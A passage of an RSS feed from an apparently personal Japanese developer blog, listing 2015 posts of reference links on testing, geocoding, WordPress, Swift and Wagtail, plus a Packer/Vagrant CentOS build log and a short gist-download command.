&lt;li&gt;&lt;a href="https://johnny.github.io/jquery-sortable/"&gt;https://johnny.github.io/jquery-sortable/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Test</title><link>https://hdknr.github.io/blogs/posts/2015/08/test/</link><pubDate>Mon, 03 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/test/</guid><description>&lt;h2 id="nose"&gt;Nose&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://qiita.com/tomotaka_ito/items/1644db679264dcbb11f5"&gt;noseで気軽にテストを書く(+geventの場合)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/django-nose/django-nose"&gt;https://github.com/django-nose/django-nose&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://qiita.com/seizans/items/2f78f2a263c63c36b267"&gt;Django でのテスト&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bdd"&gt;BDD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/d9e6c3ee190d4996e015#file-behave-md"&gt;Behave&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/d9e6c3ee190d4996e015#file-lettuce-md"&gt;Lettuce&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="scripting"&gt;Scripting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/d9e6c3ee190d4996e015#file-selenium-md"&gt;Selenium&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Geolocation</title><link>https://hdknr.github.io/blogs/posts/2015/08/geolocation/</link><pubDate>Sat, 01 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/geolocation/</guid><description>&lt;h2 id="google-maps-api"&gt;Google Maps API&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/googlemaps/google-maps-services-python"&gt;googlemaps/google-maps-services-python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://d.hatena.ne.jp/memomemokun/20150617/1434528429"&gt;Google Geocoding API で住所から緯度経度を求める&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Packer</title><link>https://hdknr.github.io/blogs/posts/2015/07/packer/</link><pubDate>Fri, 31 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/packer/</guid><description>&lt;h2 id="packer--box-cutter-for-windows"&gt;Packer &amp;amp;&amp;amp; Box-Cutter for Windows&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr&amp;gt;vagrant --version
Vagrant 1.7.4
C:\Users\hdknr&amp;gt;packer --version
0.8.2
C:\Users\hdknr&amp;gt;ver
Microsoft Windows [Version 6.3.9600]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work&amp;gt;git clone https://github.com/boxcutter/centos.git
Cloning into &amp;#39;centos&amp;#39;...
remote: Counting objects: 1100, done.
remote: Compressing objects: 100% (6/6), done.
Rreceiving objects: 92% (1012/1100), 108.0emote: Total 1100 (delta 1), reused 0 (delta 0), pack-reused 1093
00 KiB/s
Receiving objects: 100% (1100/1100), 227.44 KiB | 196.00 KiB/s, done.
Resolving deltas: 100% (749/749), done.
Checking connectivity... done.
C:\Users\hdknr\Documents\work&amp;gt;cd centos
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;vim http\ks6.cfg
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;git diff http\ks6.cfg
diff --git a/http/ks7.cfg b/http/ks7.cfg
index 434a369..16797b0 100644
--- a/http/ks7.cfg
+++ b/http/ks7.cfg
@@ -14,11 +14,11 @@
# &amp;gt; linux text ks=http://&amp;lt;your_ip&amp;gt;:8000/ks.cfg
# Required settings
-lang en_US.UTF-8
-keyboard us
+lang ja_JP.UTF-8
+keyboard jp106
rootpw vagrant
authconfig --enableshadow --enablemd5
-timezone UTC
+timezone Asia/Tokyo
# Optional settings
install
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;packer validate centos66.json
Template validated successfully.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;packer build -only=virtualbox-iso centos66.json
virtualbox-iso output will be in this color.
==&amp;gt; virtualbox-iso: Downloading or copying Guest additions
virtualbox-iso: Downloading or copying: file:///C:/Program%20Files/Oracle/VirtualBox/VBoxGuestAdditions.iso
==&amp;gt; virtualbox-iso: Downloading or copying ISO
virtualbox-iso: Downloading or copying: file:///iso/CentOS-6.6-x86_64-bin-DVD1.iso
virtualbox-iso: Error downloading: open iso/CentOS-6.6-x86_64-bin-DVD1.iso: The system cannot find the path specifie
d.
virtualbox-iso: Downloading or copying: http://mirrors.kernel.org/centos/6.6/isos/x86_64/CentOS-6.6-x86_64-bin-DVD1.
iso
virtualbox-iso: Download progress: 0%
...
==&amp;gt; virtualbox-iso: Starting HTTP server on port 8364
==&amp;gt; virtualbox-iso: Creating virtual machine...
==&amp;gt; virtualbox-iso: Creating hard drive...
==&amp;gt; virtualbox-iso: Creating forwarded port mapping for SSH (host port 2262)
==&amp;gt; virtualbox-iso: Executing custom VBoxManage commands...
virtualbox-iso: Executing: modifyvm centos66 --memory 512
virtualbox-iso: Executing: modifyvm centos66 --cpus 1
==&amp;gt; virtualbox-iso: Starting the virtual machine...
==&amp;gt; virtualbox-iso: Waiting 10s for boot...
==&amp;gt; virtualbox-iso: Typing the boot command...
==&amp;gt; virtualbox-iso: Waiting for SSH to become available...
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;==&amp;gt; virtualbox-iso: Uploading VirtualBox version info (4.3.30)
==&amp;gt; virtualbox-iso: Uploading VirtualBox guest additions ISO...
==&amp;gt; virtualbox-iso: Provisioning with shell script: script/fix-slow-dns.sh
virtualbox-iso: sudo: sudo を実行するには tty がなければいけません。すみません
==&amp;gt; virtualbox-iso: Unregistering and deleting virtual machine...
==&amp;gt; virtualbox-iso: Deleting output directory...
Build &amp;#39;virtualbox-iso&amp;#39; errored: Script exited with non-zero exit status: 1
==&amp;gt; Some builds didn&amp;#39;t complete successfully and had errors:
--&amp;gt; virtualbox-iso: Script exited with non-zero exit status: 1
==&amp;gt; Builds finished but no artifacts were created.
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>WordPress</title><link>https://hdknr.github.io/blogs/posts/2015/07/wordpress/</link><pubDate>Thu, 30 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/wordpress/</guid><description>&lt;h2 id="wordpress"&gt;Wordpress&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ja.wordpress.org/"&gt;https://ja.wordpress.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="note"&gt;Note&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/tree/master/php/wordpress"&gt;php/wordpress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://beautifulajax.dip.jp/?p=785"&gt;Wordpressのプラグイン作成（作成手順編）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="url-route"&gt;URL Route&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://codex.wordpress.org/Rewrite_API"&gt;Rewrite API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ruslanbes.com/devblog/2013/04/03/wordpress-routing-explained/"&gt;WordPress routing explained&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wordpress.org/plugins/wp-router/"&gt;WP Router&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="test"&gt;Test&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://wp-cli.org/"&gt;WP-CLI A command line interface for WordPress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sebastianbergmann/phpunit#installation"&gt;PHPUnit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/wp-cli/wp-cli/wiki/Plugin-Unit-Tests"&gt;Plugin Unit Tests&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pippinsplugins.com/unit-tests-wordpress-plugins-setting-up-testing-suite/"&gt;Unit Tests for WordPress Plugins – Setting Up Our Testing Suite&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="debug"&gt;Debug&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://codex.wordpress.org/Debugging_in_WordPress"&gt;Debugging in WordPress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wpoptimus.com/527/debugging-tools-plugins-wordpress/"&gt;10 WordPress Debugging Tools to Find Errors and Warnings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fuelyourcoding.com/simple-debugging-with-wordpress/"&gt;Simple Debugging with WordPress&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="authentication"&gt;Authentication&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/miled/wordpress-social-login"&gt;Wordpress-Social-Login&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/fumikito/Gianism"&gt;Gianism&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ドキュメントインデックス</title><link>https://hdknr.github.io/blogs/posts/2015/07/%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%82%A4%E3%83%B3%E3%83%87%E3%83%83%E3%82%AF%E3%82%B9/</link><pubDate>Sat, 25 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%82%A4%E3%83%B3%E3%83%87%E3%83%83%E3%82%AF%E3%82%B9/</guid><description>&lt;h2 id="php"&gt;PHP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/blob/master/php/phpenv.anyenv.md"&gt;anyenv+phpenv&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/blob/master/php/composer.md"&gt;composer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/blob/master/php/psysh.md"&gt;PsySh&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>NginxTool</title><link>https://hdknr.github.io/blogs/posts/2015/07/nginxtool/</link><pubDate>Tue, 21 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/nginxtool/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;$ git clone git@gist.github.com:7752aaa4aac58aa400b9.git bin
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ wget -qO- https://gist.github.com/hdknr/7752aaa4aac58aa400b9/archive/ac76968b64cbe682964880afc68b08bd54fc9987.zip | bsdtar -xvf-
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Swift Related</title><link>https://hdknr.github.io/blogs/posts/2015/07/swift-related/</link><pubDate>Sun, 05 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/swift-related/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.evernote.com/l/AS7cnsYvrohMfKyBL9fLoH7je_DnLL6Ub4g"&gt;xcrun swift on command line generate &lt;unknown&gt;:0: error: could not load shared library&lt;/a&gt; (ライブラリのロード)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.evernote.com/shard/s302/sh/ba163bcb-73c2-4cec-91f8-c8e440bf3210/8df47227fec7d701a48cb3421f38879a"&gt;Regex in Swift&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://timekl.com/blog/2014/06/02/learning-swift-ordered-dictionaries/"&gt;Learning Swift: Ordered Dictionaries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lithium3141/SwiftDataStructures"&gt;lithium3141/SwiftDataStructures&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Wagtail</title><link>https://hdknr.github.io/blogs/posts/2015/02/wagtail/</link><pubDate>Mon, 23 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/wagtail/</guid><description>&lt;h2 id="wagtail"&gt;wagtail&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/wagtail/wagtail"&gt;wagtail/wagtail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.wagtail.io/en/v1.8/index.html"&gt;Welcome to Wagtail’s documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="modelcluster"&gt;modelcluster&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/torchbox/django-modelcluster"&gt;django-modelcluster&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="taggit"&gt;taggit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/alex/django-taggit"&gt;django-taggit&lt;/a&gt; (&lt;a href="http://django-taggit.readthedocs.org/en/latest/"&gt;doc&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>